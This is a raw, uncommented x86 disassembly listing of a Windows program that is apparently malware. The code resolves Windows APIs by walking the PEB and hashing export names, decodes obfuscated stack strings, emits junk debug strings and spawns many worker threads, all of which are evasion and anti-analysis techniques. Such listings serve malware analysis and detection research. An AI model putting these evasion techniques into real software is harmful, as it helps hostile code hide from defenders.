call fcn.004658b0
push 0
push 0xce8a0
call fcn.00407d20
add esp, 8
push eax
call edi
cmp dword [0x533af4], 0
je 0x45ff93
mov ecx, 0x533ae4
call fcn.004027a0
push 0x520af0
push eax
call fcn.004de220
add esp, 8
test eax, eax
je 0x4600be
mov esi, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
push esi
lea ecx, [ebp - 0x104]
call fcn.004027f0
push 1
push 0x52081c
lea ecx, [ebp - 0x104]
call fcn.00402810
push edi
lea ecx, [ebp - 0x210]
call fcn.004027f0
push 1
push 0x520af0
lea ecx, [ebp - 0x210]
call fcn.00402810
lea eax, [ebp - 0x104]
mov ecx, 0x533ae4
push eax
lea edx, [ebp - 0x210]
call fcn.0040c6e0
add esp, 4
lea ecx, [ebp - 0x210]
call fcn.00402660
lea ecx, [ebp - 0x104]
call fcn.00402660
mov ecx, 0x533ae4
call fcn.004027a0
push 0x520af0
push eax
call fcn.004de220
add esp, 8
test eax, eax
jne 0x460032
lea ecx, [ebp - 0x13c]
mov dword [ebp - 0x13c], 0x100bfbb
call fcn.0040a3d0
push eax
lea ecx, [ebp - 0x600]
call fcn.00402700
lea ecx, [ebp - 0x140]
mov dword [ebp - 0x140], 0x100b0a2
call fcn.0040a3d0
push eax
lea ecx, [ebp - 0x5e8]
call fcn.00402700
lea ecx, [ebp - 0x144]
mov dword [ebp - 0x144], 0x100b3ab
call fcn.0040a3d0
push eax
lea ecx, [ebp - 0x5d0]
call fcn.00402700
lea ecx, [ebp - 0x78]
mov dword [ebp - 0x78], 0x100a7a8
call fcn.0040a3d0
push eax
lea ecx, [ebp - 0x5b8]
call fcn.00402700
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x74], 0x100b0bc
call fcn.0040a3d0
push eax
lea ecx, [ebp - 0x5a0]
call fcn.00402700
lea ecx, [ebp - 0x80]
mov dword [ebp - 0x80], 0x100aea4
call fcn.0040a3d0
push eax
lea ecx, [ebp - 0x588]
call fcn.00402700
lea ecx, [ebp - 0x7c]
mov dword [ebp - 0x7c], 0x100ada2
call fcn.0040a3d0
push eax
lea ecx, [ebp - 0x570]
call fcn.00402700
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x40], 0x100a0bd
call fcn.0040a3d0
push eax
lea ecx, [ebp - 0x558]
call fcn.00402700
lea ecx, [ebp - 0x44]
mov dword [ebp - 0x44], 0x100abbc
call fcn.0040a3d0
push eax
lea ecx, [ebp - 0x540]
call fcn.00402700
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x24], 0x100b0a8
call fcn.0040a3d0
push eax
lea ecx, [ebp - 0x528]
call fcn.00402700
lea eax, [ebp - 0x510]
push eax
lea eax, [ebp - 0x600]
push eax
lea ecx, [ebp - 0x3e8]
call fcn.00462620
lea ecx, [ebp - 0x420]
push dword [eax + 4]
push dword [eax]
call fcn.00461f40
push fcn.00402660
push 0xa
push 0x18
lea eax, [ebp - 0x600]
push eax
call fcn.004dcc15
lea eax, [ebp - 0x22c]
push eax
lea ecx, [ebp - 0x420]
call fcn.0046a700
test eax, eax
je 0x46027b
movaps xmm0, xmmword [0x526630]
lea ecx, [ebp - 0x2c0]
movups xmmword [ebp - 0x2c0], xmm0
mov dword [ebp - 0x2b0], 0x100898a
call fcn.0040eeb0
push 0x520a88
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x46027b
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.erert46456
call ebx
call fcn.0041f2a0
call fcn.0041f310
call fcn.0041f380
call fcn.0041f3f0
call fcn.0041f460
mov ecx, 0x5360c8
call fcn.00463260
test al, al
je 0x4605bc
mov ecx, 0x5360c8
call fcn.00463280
test al, al
jne 0x4605bc
lea ecx, [ebp - 0x1c2]
mov dword [ebp - 0x1c2], 0x8e8a988e
mov dword [ebp - 0x1be], 0x828c9db2
mov dword [ebp - 0x1ba], 0x9d9794
mov byte [ebp - 0x1b6], 1
call fcn.0040d9b0
push eax
mov ecx, 0x5360c8
call fcn.00469b20
mov ecx, eax
call fcn.00463270
test al, al
je 0x4605bc
lea ecx, [ebp - 0x1cf]
mov dword [ebp - 0x1cf], 0x8e8a988e
mov dword [ebp - 0x1cb], 0x828c9db2
mov dword [ebp - 0x1c7], 0x9d9794
mov byte [ebp - 0x1c3], 1
call fcn.0040d9b0
push eax
mov ecx, 0x5360c8
call fcn.00469b20
mov ecx, eax
call fcn.00469d90
lea ecx, [ebp - 0x16a]
mov byte [0x533aab], al
mov dword [ebp - 0x16a], 0x8e8a988e
mov dword [ebp - 0x166], 0x889ab2
mov byte [ebp - 0x162], 1
call fcn.0040b860
push eax
mov ecx, 0x5360c8
call fcn.00469b20
mov ecx, eax
call fcn.00469d90
lea ecx, [ebp - 0x2d]
mov byte [0x533ac5], al
mov dword [ebp - 0x2d], 0x8e8a988e
mov dword [ebp - 0x29], 0x9c8ab2
mov byte [ebp - 0x25], 1
call fcn.0040b860
push eax
mov ecx, 0x5360c8
call fcn.00469b20
mov ecx, eax
call fcn.00469d90
lea ecx, [ebp - 0x6c]
mov byte [0x533aaa], al
mov dword [ebp - 0x6c], 0x8e8a988e
mov dword [ebp - 0x68], 0x9c8e99b2
mov dword [ebp - 0x64], 0x8787979d
mov word [ebp - 0x60], 0x100
call fcn.0040ee80
push eax
mov ecx, 0x5360c8
call fcn.00469b20
mov ecx, eax
call fcn.00469d90
lea ecx, [ebp - 0x1de]
mov byte [0x533aa9], al
mov dword [ebp - 0x1de], 0x8e8a988e
mov dword [ebp - 0x1da], 0x998787b2
mov dword [ebp - 0x1d6], 0x869c8682
mov word [ebp - 0x1d2], 0x8c
mov byte [ebp - 0x1d0], 1
call fcn.0040a6c0
push eax
mov ecx, 0x5360c8
call fcn.00469b20
mov ecx, eax
call fcn.00469d90
lea ecx, [ebp - 0x174]
mov byte [0x533ac4], al
mov dword [ebp - 0x174], 0x8e8a988e
mov dword [ebp - 0x170], 0x809b88b2
mov word [ebp - 0x16c], 0x100
call fcn.0040ee20
push eax
mov ecx, 0x5360c8
call fcn.00469b20
mov ecx, eax
call fcn.00469d90
lea ecx, [ebp - 0x1a8]
mov byte [0x533ac6], al
mov dword [ebp - 0x1a8], 0x8e8a988e
mov dword [ebp - 0x1a4], 0x9d8e89b2
mov dword [ebp - 0x1a0], 0x1008194
call fcn.0040ee50
push eax
mov ecx, 0x5360c8
call fcn.00469b20
mov ecx, eax
call fcn.00469d90
mov byte [0x533aa8], al
movaps xmm0, xmmword [0x524dd0]
lea ecx, [ebp - 0x399]
movups xmmword [ebp - 0x399], xmm0
mov byte [ebp - 0x389], 1
call fcn.0040edf0
push eax
mov ecx, 0x5360c8
call fcn.00469b20
mov ecx, eax
call fcn.00469d90
lea ecx, [ebp - 0x17e]
mov byte [0x533ac8], al
mov dword [ebp - 0x17e], 0x8e8a988e
mov dword [ebp - 0x17a], 0x9e9f98b2
mov word [ebp - 0x176], 0x100
call fcn.0040ee20
push eax
mov ecx, 0x5360c8
call fcn.00469b20
mov ecx, eax
call fcn.00469d90
lea ecx, [ebp - 0x188]
mov byte [0x533ac7], al
mov dword [ebp - 0x188], 0xb38e999c
mov dword [ebp - 0x184], 0x93819885
mov word [ebp - 0x180], 0x100
call fcn.0040ee20
push eax
mov ecx, 0x5360c8
call fcn.00469b20
mov ecx, eax
call fcn.00469d90
movaps xmm0, xmmword [0x526330]
lea ecx, [ebp - 0xc8]
mov byte [0x535eb3], al
movups xmmword [ebp - 0xc8], xmm0
mov dword [ebp - 0xb8], 0x1009b8d
call fcn.0040eeb0
push eax
mov ecx, 0x5360c8
call fcn.00469b20
mov ecx, eax
call fcn.00469d90
mov byte [0x535e93], al
push 0x5204b8
lea ecx, [ebp - 0x308]
call fcn.00402700
push 0x5204b8
lea ecx, [ebp - 0x2f0]
call fcn.00402700
push 0x5204b8
lea ecx, [ebp - 0x2d8]
call fcn.00402700
lea eax, [ebp - 0x2ac]
mov ecx, 0x536180
push eax
call fcn.004630e0
lea eax, [ebp - 0x348]
mov ecx, 0x536180
push eax
call fcn.00463070
lea eax, [ebp - 0x348]
push eax
lea ecx, [ebp - 0x2ac]
call fcn.00466f90
test al, al
jne 0x460cd7
mov ebx, dword [ebp - 0x10]
nop dword [eax + eax]
lea ecx, [ebp - 0x2ac]
call fcn.004627b0
lea ecx, [ebp - 0xdd]
mov dword [ebp - 0xdd], 0x89868b87
mov edi, eax
mov word [ebp - 0xd9], 0x100
call fcn.00462be0
lea eax, [ebp - 0xdd]
mov ecx, edi
push eax
call fcn.00469b20
lea ecx, [ebp - 0x104]
mov esi, eax
call fcn.00402770
lea edx, [ebp - 0x104]
mov ecx, esi
call fcn.00479690
movaps xmm0, xmmword [0x525ed0]
lea ecx, [ebp - 0xca]
movups xmmword [ebp - 0xca], xmm0
mov dword [ebp - 0xba], 0xcda49f97
mov word [ebp - 0xb6], 0x100
call fcn.00462970
push 0
lea eax, [ebp - 0xca]
push eax
lea ecx, [ebp - 0x104]
call fcn.004654d0
lea ecx, [ebp - 0x104]
mov esi, eax
call fcn.00402660
test esi, esi
jne 0x46087d
lea ecx, [ebp - 0x138]
mov dword [ebp - 0x138], 0x99878b9f
mov word [ebp - 0x134], 0x88
mov byte [ebp - 0x132], 1
call fcn.00462e00
lea eax, [ebp - 0x138]
mov ecx, edi
push eax
call fcn.00469b20
lea ecx, [ebp - 0x104]
mov esi, eax
call fcn.00402770
lea edx, [ebp - 0x104]
mov ecx, esi
call fcn.00479690
lea eax, [ebp - 0x104]
push eax
lea ecx, [ebp - 0x308]
call fcn.004658e0
lea ecx, [ebp - 0x104]
call fcn.00402660
lea ecx, [ebp - 0x52]
mov dword [ebp - 0x52], 0xd29988d5
mov word [ebp - 0x4e], 0x100
call fcn.00462be0
push 0
lea eax, [ebp - 0x52]
push eax
lea ecx, [ebp - 0x308]
call fcn.004654d0
cmp eax, 0xffffffff
je 0x46087d
nop dword [eax]
nop word [eax + eax]
lea ecx, [ebp - 0x84]
mov dword [ebp - 0x84], 0x100e0e4
call fcn.00462d60
push dword [ebp - 0x10]
lea ecx, [ebp - 0x210]
call fcn.004027f0
lea ecx, [ebp - 0x84]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4607b0
sub ecx, edx
lea eax, [ebp - 0x84]
push ecx
push eax
lea ecx, [ebp - 0x210]
call fcn.00402810
lea ecx, [ebp - 0x9a]
mov dword [ebp - 0x9a], 0xd29988d5
mov word [ebp - 0x96], 0x100
call fcn.00462be0
push dword [ebp - 0x10]
lea ecx, [ebp - 0x104]
call fcn.004027f0
lea ecx, [ebp - 0x9a]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x460801
sub ecx, edx
lea eax, [ebp - 0x9a]
push ecx
push eax
lea ecx, [ebp - 0x104]
call fcn.00402810
lea eax, [ebp - 0x210]
push eax
lea edx, [ebp - 0x104]
lea ecx, [ebp - 0x308]
call fcn.0040c6e0
add esp, 4
lea ecx, [ebp - 0x104]
call fcn.00402660
lea ecx, [ebp - 0x210]
call fcn.00402660
lea ecx, [ebp - 0x52]
mov dword [ebp - 0x52], 0xd29988d5
mov word [ebp - 0x4e], 0x100
call fcn.00462be0
push 0
lea eax, [ebp - 0x52]
push eax
lea ecx, [ebp - 0x308]
call fcn.004654d0
cmp eax, 0xffffffff
jne 0x460780
lea ecx, [ebp - 0xe9]
mov dword [ebp - 0xe9], 0x89868b87
mov word [ebp - 0xe5], 0x100
call fcn.00462be0
lea eax, [ebp - 0xe9]
mov ecx, edi
push eax
call fcn.00469b20
lea ecx, [ebp - 0x104]
mov esi, eax
call fcn.00402770
lea edx, [ebp - 0x104]
mov ecx, esi
call fcn.00479690
movaps xmm0, xmmword [0x525ed0]
lea ecx, [ebp - 0xca]
movups xmmword [ebp - 0xca], xmm0
mov dword [ebp - 0xba], 0xcea49f97
mov word [ebp - 0xb6], 0x100
call fcn.00462970
push 0
lea eax, [ebp - 0xca]
push eax
lea ecx, [ebp - 0x104]
call fcn.004654d0
lea ecx, [ebp - 0x104]
mov esi, eax
call fcn.00402660
test esi, esi
jne 0x460a9d
lea ecx, [ebp - 0x123]
mov dword [ebp - 0x123], 0x99878b9f
mov word [ebp - 0x11f], 0x88
mov byte [ebp - 0x11d], 1
call fcn.00462e00
lea eax, [ebp - 0x123]
mov ecx, edi
push eax
call fcn.00469b20
lea ecx, [ebp - 0x370]
push ecx
mov ecx, eax
call fcn.00469c60
push eax
lea ecx, [ebp - 0x2f0]
call fcn.004658e0
lea ecx, [ebp - 0x370]
call fcn.00402660
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x58], 0xd29988d5
mov word [ebp - 0x54], 0x100
call fcn.00462be0
push esi
lea eax, [ebp - 0x58]
push eax
lea ecx, [ebp - 0x2f0]
call fcn.004654d0
cmp eax, 0xffffffff
je 0x460a9d
nop
lea ecx, [ebp - 0x88]
mov dword [ebp - 0x88], 0x100e0e4
call fcn.00462d60
push dword [ebp - 0x10]
lea ecx, [ebp - 0x210]
call fcn.004027f0
lea ecx, [ebp - 0x88]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4609d0
sub ecx, edx
lea eax, [ebp - 0x88]
push ecx
push eax
lea ecx, [ebp - 0x210]
call fcn.00402810
lea ecx, [ebp - 0xa0]
mov dword [ebp - 0xa0], 0xd29988d5
mov word [ebp - 0x9c], 0x100
call fcn.00462be0
push dword [ebp - 0x10]
lea ecx, [ebp - 0x104]
call fcn.004027f0
lea ecx, [ebp - 0xa0]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x460a21
sub ecx, edx
lea eax, [ebp - 0xa0]
push ecx
push eax
lea ecx, [ebp - 0x104]
call fcn.00402810
lea eax, [ebp - 0x210]
push eax
lea edx, [ebp - 0x104]
lea ecx, [ebp - 0x2f0]
call fcn.0040c6e0
add esp, 4
lea ecx, [ebp - 0x104]
call fcn.00402660
lea ecx, [ebp - 0x210]
call fcn.00402660
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x58], 0xd29988d5
mov word [ebp - 0x54], 0x100
call fcn.00462be0
push 0
lea eax, [ebp - 0x58]
push eax
lea ecx, [ebp - 0x2f0]
call fcn.004654d0
cmp eax, 0xffffffff
jne 0x4609a0
lea ecx, [ebp - 0xe3]
mov dword [ebp - 0xe3], 0x89868b87
mov word [ebp - 0xdf], 0x100
call fcn.00462be0
lea eax, [ebp - 0xe3]
mov ecx, edi
push eax
call fcn.00469b20
lea ecx, [ebp - 0x104]
mov esi, eax
call fcn.00402770
lea edx, [ebp - 0x104]
mov ecx, esi
call fcn.00479690
movaps xmm0, xmmword [0x525ed0]
lea ecx, [ebp - 0xca]
movups xmmword [ebp - 0xca], xmm0
mov dword [ebp - 0xba], 0xcfa49f97
mov word [ebp - 0xb6], 0x100
call fcn.00462970
push 0
lea eax, [ebp - 0xca]
push eax
lea ecx, [ebp - 0x104]
call fcn.004654d0
lea ecx, [ebp - 0x104]
mov esi, eax
call fcn.00402660
test esi, esi
jne 0x460cac
lea ecx, [ebp - 0x12a]
mov dword [ebp - 0x12a], 0x99878b9f
mov word [ebp - 0x126], 0x88
mov byte [ebp - 0x124], 1
call fcn.00462e00
lea eax, [ebp - 0x12a]
mov ecx, edi
push eax
call fcn.00469b20
lea ecx, [ebp - 0x370]
push ecx
mov ecx, eax
call fcn.00469c60
push eax
lea ecx, [ebp - 0x2d8]
call fcn.004658e0
lea ecx, [ebp - 0x370]
call fcn.00402660
lea ecx, [ebp - 0x5e]
mov dword [ebp - 0x5e], 0xd29988d5
mov word [ebp - 0x5a], 0x100
call fcn.00462be0
push esi
lea eax, [ebp - 0x5e]
push eax
lea ecx, [ebp - 0x2d8]
call fcn.004654d0
cmp eax, 0xffffffff
je 0x460cac
nop
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x34], 0x100e0e4
call fcn.00462d60
push ebx
lea ecx, [ebp - 0x210]
call fcn.004027f0
lea ecx, [ebp - 0x34]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x460be1
sub ecx, edx
lea eax, [ebp - 0x34]
push ecx
push eax
lea ecx, [ebp - 0x210]
call fcn.00402810
lea ecx, [ebp - 0xa6]
mov dword [ebp - 0xa6], 0xd29988d5
mov word [ebp - 0xa2], 0x100
call fcn.00462be0
push dword [ebp - 0x10]
lea ecx, [ebp - 0x104]
call fcn.004027f0
lea ecx, [ebp - 0xa6]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x460c30
sub ecx, edx
lea eax, [ebp - 0xa6]
push ecx
push eax
lea ecx, [ebp - 0x104]
call fcn.00402810
lea eax, [ebp - 0x210]
push eax
lea edx, [ebp - 0x104]
lea ecx, [ebp - 0x2d8]
call fcn.0040c6e0
add esp, 4
lea ecx, [ebp - 0x104]
call fcn.00402660
lea ecx, [ebp - 0x210]
call fcn.00402660
lea ecx, [ebp - 0x5e]
mov dword [ebp - 0x5e], 0xd29988d5
mov word [ebp - 0x5a], 0x100
call fcn.00462be0
push 0
lea eax, [ebp - 0x5e]
push eax
lea ecx, [ebp - 0x2d8]
call fcn.004654d0
cmp eax, 0xffffffff
jne 0x460bc0
lea ecx, [ebp - 0x2ac]
call fcn.00462760
lea eax, [ebp - 0x348]
push eax
lea ecx, [ebp - 0x2ac]
call fcn.00466f90
test al, al
je 0x460630
mov ebx, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
sub esp, 0x18
lea eax, [ebp - 0x2d8]
mov ecx, esp
push eax
call fcn.00465a60
sub esp, 0x18
lea eax, [ebp - 0x2f0]
mov ecx, esp
push eax
call fcn.00465a60
sub esp, 0x18
lea eax, [ebp - 0x308]
mov ecx, esp
push eax
call fcn.00465a60
call fcn.00409520
add esp, 0x48
cmp byte [0x535eb9], 0
jne 0x461be7
call fcn.0044b000
call fcn.0044d610
push str.ersheru_65_568
call ebx
mov ecx, 0x536044
call fcn.00462370
mov ecx, 0x536168
call fcn.00462370
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x44ddf0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x44efa0
push 0
push 0
mov dword [ebp - 0x24], eax
call esi
push 0
push 0
push 0
push 0x452f90
push 0
push 0
mov dword [ebp - 0x44], eax
call esi
mov dword [ebp - 0x40], eax
call fcn.0043bca0
test al, al
je 0x460e15
lea ecx, [ebp - 0x3e0]
call fcn.0043bf30
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x20], 0x858c8585
mov edi, eax
mov dword [ebp - 0x1c], 0x1009d83
call fcn.00410500
sub esp, 0x10
mov dword [ebp - 0x19c], 0x809e8bbf
mov esi, esp
mov dword [ebp - 0x198], 0xb5a6b199
mov ecx, edi
mov word [ebp - 0x194], 0x100
push eax
call fcn.00469b20
push eax
mov ecx, esi
call fcn.00463560
lea ecx, [ebp - 0x19c]
call fcn.0040ee20
push eax
mov ecx, 0x536100
call fcn.00469b20
mov ecx, eax
call fcn.00463520
lea ecx, [ebp - 0x3e0]
call fcn.00463500
call fcn.0043bf00
lea ecx, [ebp - 0x358]
call fcn.0043cdf0
lea ecx, [ebp - 0x154]
mov dword [ebp - 0x154], 0x858c8585
mov edi, eax
mov dword [ebp - 0x150], 0x1009d83
call fcn.004628b0
movaps xmm0, xmmword [0x526380]
lea ecx, [ebp - 0x29c]
movups xmmword [ebp - 0x29c], xmm0
mov dword [ebp - 0x28c], 0x1008995
call fcn.00462a60
sub esp, 0x10
lea eax, [ebp - 0x154]
mov esi, esp
mov ecx, edi
push eax
call fcn.00469b20
push eax
mov ecx, esi
call fcn.00463560
lea eax, [ebp - 0x29c]
mov ecx, 0x536100
push eax
call fcn.00469b20
mov ecx, eax
call fcn.00463520
push dword [ebp - 0x358]
lea ecx, [ebp - 0x350]
call fcn.00467100
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x460f19
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x460f19
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop word [eax + eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x460f12
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x460ef5
cmp esi, 0x71948ca4
je 0x460f1d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x460ee0
mov eax, dword [eax]
jmp 0x460eb4
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push 0x493e0
push dword [ebp - 0x24]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push 0
push 0x1170e7
call fcn.00407d20
add esp, 8
push eax
push dword [ebp - 0x44]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x460fc9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x460fc9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax + eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x460fc2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x460fa5
cmp esi, 0x71948ca4
je 0x460fcd
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x460f90
mov eax, dword [eax]
jmp 0x460f65
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push 0x493e0
push dword [ebp - 0x40]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x461064
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x461064
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x46105d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x461040
cmp esi, 0xfaba0065
je 0x461068
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x461026
mov eax, dword [eax]
jmp 0x461000
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push dword [ebp - 0x24]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x4610f4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4610f4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4610ed
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4610d0
cmp esi, 0xfaba0065
je 0x4610f8
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4610b8
mov eax, dword [eax]
jmp 0x461092
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push dword [ebp - 0x44]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x461184
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x461184
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x46117d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x461160
cmp esi, 0xfaba0065
je 0x461188
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x461148
mov eax, dword [eax]
jmp 0x461122
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push dword [ebp - 0x40]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x453550
push 0
push 0
call ebx
push 0
push 0
push 0
push 0x454ef0
push 0
push 0
mov dword [ebp - 0x24], eax
call ebx
push 0
push 0
push 0
push 0x457f20
push 0
push 0
mov dword [ebp - 0x44], eax
call ebx
push 0
push 0
push 0
push 0x45a180
push 0
push 0
mov dword [ebp - 0x40], eax
call ebx
push 0
push 0
push 0
push 0x45cc70
push 0
push 0
mov dword [ebp - 0x7c], eax
call ebx
push 0
push 0
push 0
push 0x45cdc0
push 0
push 0
mov dword [ebp - 0x80], eax
call ebx
push 0
push 0
push 0
push 0x45e8c0
push 0
push 0
mov dword [ebp - 0x74], eax
call ebx
sub esp, 0x18
mov dword [ebp - 0x78], eax
mov ecx, esp
push 0x533ae4
call fcn.00465a60
sub esp, 0x18
lea eax, [ebp - 0x268]
mov ecx, esp
push eax
call fcn.00465a60
sub esp, 0x18
lea eax, [ebp - 0x280]
mov ecx, esp
push eax
call fcn.00465a60
sub esp, 0x18
mov ecx, esp
push 0x533afc
call fcn.00465a60
call fcn.0040d9e0
mov eax, dword fs:[0x30]
add esp, 0x60
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x4612f4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4612f4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4612ed
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4612d0
cmp esi, 0x71948ca4
je 0x4612f8
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4612b6
mov eax, dword [eax]
jmp 0x461290
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push 0x493e0
push dword [ebp - 0x24]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x461389
mov edi, dword [ecx + 0x18]
